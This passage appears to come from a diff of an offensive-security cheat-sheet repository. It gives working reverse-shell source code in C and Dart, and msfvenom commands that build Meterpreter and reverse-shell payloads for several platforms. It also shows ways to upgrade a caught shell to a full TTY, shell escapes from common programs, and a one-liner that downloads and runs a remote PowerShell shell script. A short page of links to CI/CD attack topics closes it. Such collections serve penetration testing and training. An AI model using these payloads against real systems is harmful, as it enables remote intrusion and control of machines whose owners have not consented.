#include <arpa/inet.h>
int main(void){
int port = 4242;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
```
### Dart
```java
import 'dart:io';
import 'dart:convert';
main() {
Socket.connect("10.0.0.1", 4242).then((socket) {
socket.listen((data) {
Process.start('powershell.exe', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
});
}
```
## Meterpreter Shell
### Windows Staged reverse TCP
```powershell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```
### Windows Stageless reverse TCP
```powershell
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```
### Linux Staged reverse TCP
```powershell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```
### Linux Stageless reverse TCP
```powershell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```
### Other platforms
```powershell
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
## Spawn TTY Shell
In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.
```powershell
rlwrap nc 10.0.0.1 4242
rlwrap -r -f . nc 10.0.0.1 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.
```
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
:warning: OhMyZSH might break this trick, a simple `sh` is recommended
> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
```powershell
ctrl+z
echo $TERM && tput lines && tput cols
# for bash
stty raw -echo
fg
# for zsh
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
```
or use `socat` binary to get a fully tty reverse shell
```bash
socat file:`tty`,raw,echo=0 tcp-listen:12345
```
Spawn a TTY shell from an interpreter
```powershell
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
```
- vi: `:!bash`
- vi: `:set shell=/bin/bash:shell`
- nmap: `!sh`
- mysql: `! bash`
Alternative TTY method
```
www-data@debian:/dev/shm$ su - user
su: must be run from a terminal
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
Password: P4ssW0rD
user@debian:~$
```
## Fully interactive reverse shell on Windows
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
**ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).**
Server Side:
```
stty raw -echo; (stty size; cat) | nc -lvnp 3001
```
Client Side:
```
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
```
Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
## References
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
* [Spawning a TTY Shell](http://netsec.ws/?p=337)
* [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)

View File

@@ -0,0 +1,13 @@
# Source Code Management & CI/CD Compromise
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/source-code-management-ci](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/)
- [CI/CD Attacks](https://swisskyrepo.github.io/InternalAllTheThings/devops/)
- [Azure DevOps](https://swisskyrepo.github.io/InternalAllTheThings/devops/cicd-azure-devops/)
- [BuildKite](https://swisskyrepo.github.io/InternalAllTheThings/devops/cicd-buildkite/)
- [CircleCI](https://swisskyrepo.github.io/InternalAllTheThings/devops/cicd-circle-ci/)
- [Drone CI](https://swisskyrepo.github.io/InternalAllTheThings/devops/cicd-drone-ci/)
- [GitHub Actions](https://swisskyrepo.github.io/InternalAllTheThings/devops/cicd-github-actions/)
- [Gitlab CI](https://swisskyrepo.github.io/InternalAllTheThings/devops/cicd-gitlab-ci/)
- [Package Managers and Build Files](https://swisskyrepo.github.io/InternalAllTheThings/devops/package-managers/)
- [Hardcoded Secrets Enumeration](https://swisskyrepo.github.io/InternalAllTheThings/devops/secrets-enumeration/)

Some files were not shown because too many files have changed in this diff Show More